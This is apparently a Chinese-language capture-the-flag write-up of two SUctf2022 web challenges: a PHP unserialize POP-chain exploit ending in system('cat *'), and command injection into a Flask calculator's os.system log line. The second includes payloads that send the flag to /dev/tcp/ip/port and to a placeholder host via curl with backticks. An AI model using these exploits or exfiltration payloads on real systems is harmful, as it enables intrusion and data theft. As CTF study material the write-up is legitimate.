ezpop

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

确实是简单的php题,pop链挺好构造的

涉及到到几个魔术方法为:

  • __toString() 将对象当字符串输出时触发
  • __invoke() 将对象当函数调用时触发
  • __call() 调用不存在的方法时触发

起点为fin类,依次触发what类的__toString(),crow类的__invoke(),fin类的__call(),最终调用get_flag()

eval('#' . $this->m1);可以用换行绕过,比赛时卡这了,我用的%0a结果不行,实际上是用\n,裂开

以及最终的结果要url编码,这里不是很理解,不都是public变量吗,而且还是post传参

exp

<?php

class crow
{
    public $v1;
    public $v2;
}

class fin
{
    public $f1;
}

class what
{
    public $a;

}
class mix
{
    public $m1;

}


$p = new fin();
$p->f1 = new what();//触发what类的__toString()
$p->f1->a = new mix();
$p->f1->a->m1 = new crow();//触发crow类的__invoke()
$p->f1->a->m1->v1 = new fin();//触发fin类的__call()
$p->f1->a->m1->v1->f1 = new mix();
$p->f1->a->m1->v1->f1->m1 = "\nsystem('cat *');";
echo urlencode(serialize($p));

最终结果中的+要改为空格


calc

#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time


app=Flask(__name__)

def waf(s):
    blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag= False
            print(no)
            break
    return flag
    

@app.route("/")
def index():
    "欢迎来到SUctf2022"
    return render_template("index.html")

@app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
    
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"



    

if __name__ == "__main__":
    app.run(host='0.0.0.0',port=5000)  

乍一看似乎有两个突破口,一个是 eval(num),还有一个是os.system(log),前者就是模板注入,但过滤的太多了,注不了,只能看后者

我们需要在log中注入命令,让eval(num)不报错,但os.system(log)能执行

先看payload

/calc?num=%27%27%271%27%0acat%09/Th1s*%09%3E%09/dev/tcp/ip/port%0a%23%273%27%27%27

url解码后长这样

image-20220328152935060

因为过滤了空格,所以用%09(tab)代替

可以本地测试一下,命令换成whoami

import time
import os
import urllib.parse

#payload = '%27%27%271%27%0acat%09/Th1s*%09>%09/dev/tcp/ip/port%0a%23%273%27%27%27'
ip = '127.0.0.1'
num = urllib.parse.unquote('%27%27%271%27%0awhoami%0a%23%273%27%27%27')
print('num:\n'+num)
log = "echo {0} {1} {2}> log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
print('log:\n'+log)
data = eval(num)
# os.system(log)

image-20220328153212990

python中三引号代表里面是字符串,因此eval(num)并不会报错

然后来到os.system(log),首先执行第一行的echo命令,接着执行第二行的whoami命令,最后第三行,我看wp说是#注释掉了后面语句,但似乎不是这样的,因为system()是把里面的字符串当命令执行,在bash中#可不是注释,因此实际上是执行#'3'''> log.txt这样一个命令,当然这样是会报错的,无法执行,但其实无所谓了,因为前面想要执行的命令已经执行了

image-20220328153939816

还有一种解法,更为简单,通过curl外带得到flag

/calc?num=1%23`curl%09http://vps/?flag=\`cat%09Th1s*\``

image-20220328155824927

先用#注释,这样eval(num)就不会报错

然后利用反引号执行命令得到flag,妙啊,我怎么没想到

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏